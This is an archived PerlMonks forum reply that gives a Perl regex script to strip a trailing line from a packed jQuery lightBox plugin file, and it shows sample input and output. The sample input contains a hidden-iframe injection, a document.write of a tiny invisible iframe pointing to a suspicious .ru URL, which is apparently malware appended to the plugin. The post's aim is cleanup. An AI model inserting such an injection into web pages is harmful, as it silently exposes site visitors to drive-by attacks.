<?xml version="1.0" encoding="windows-1252"?>
<node id="1002516" title="Re: trouble with regular expressions" created="2012-11-06 11:19:40" updated="2012-11-06 11:19:40">
<type id="11">
note</type>
<author id="918402">
2teez</author>
<data>
<field name="doctext">
&lt;p&gt;
Hi [programmer.perl],&lt;br&gt;&lt;br&gt;
My 2 'kobo' input is this:&lt;br&gt;&lt;br&gt;
&lt;i&gt;
I have to change a whole string to a "; //eof"&lt;br&gt;&lt;br&gt;

string to be changed is &lt;c&gt;;document.write('&lt;iframe src="any url" scrolling="auto" frameborder="no" align="center" height="15" width="15"&gt;&lt;/iframe&gt;');&lt;/c&gt; this string is found at the end of the file: it is the last string
&lt;/i&gt;&lt;br&gt;&lt;br&gt;
 You could do this:
&lt;c&gt;
use warnings;
use strict;

while (&lt;DATA&gt;) {
    chomp;
    if (/(.+?)\;doc.*?$/s) {
        print $1, ';//eof', $/;
    }
    else {
        print $_, $/;
    }
}

__DATA__
/**
 * jQuery lightBox plugin
 * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh Dhakar (http://www.huddletogether.com/projects/lightbox2/)
 * and adapted to me ...SHORTENED... */
eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'});1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_ESCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|msie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write('&lt;iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"&gt;&lt;/iframe&gt;');

&lt;/c&gt;
&lt;b&gt;OUTPUT:&lt;/b&gt;&lt;br&gt;
&lt;c&gt;/**
 * jQuery lightBox plugin
 * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh Dhakar (http://www.huddletogether.com/projects/lightbox2/)
 * and adapted to me ...SHORTENED... */
eval(function(p,a,c,k,e,r){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10,2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'});1O();4.h.B    ...SHORTENED...     style|fromCharCode|String|DOM_VK_ESCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|msie|400|browser|animate|lightBox|do'.split('|'),0,{}));//eof
&lt;/c&gt;
&lt;b&gt;NOTE:&lt;/b&gt;&lt;br&gt;
Please, be guided that this expression &lt;c&gt;if (/(.+?)\;doc.*?$/s) {..}&lt;/c&gt; may/might match more than one occassion, if such are in the other record apart from the one the OP gave in this trend.
&lt;/p&gt;&lt;br&gt; Hope, this helps.
&lt;!-- Node text goes above. Div tags should contain sig only --&gt;
&lt;div class="pmsig"&gt;&lt;div class="pmsig-918402"&gt;
If you tell me, I'll forget.&lt;br&gt;
If you show me, I'll remember.&lt;br&gt;
if you involve me, I'll understand.&lt;br&gt;
--- Author [unknown to me]
&lt;/div&gt;&lt;/div&gt;</field>
<field name="root_node">
1002482</field>
<field name="parent_node">
1002482</field>
</data>
</node>
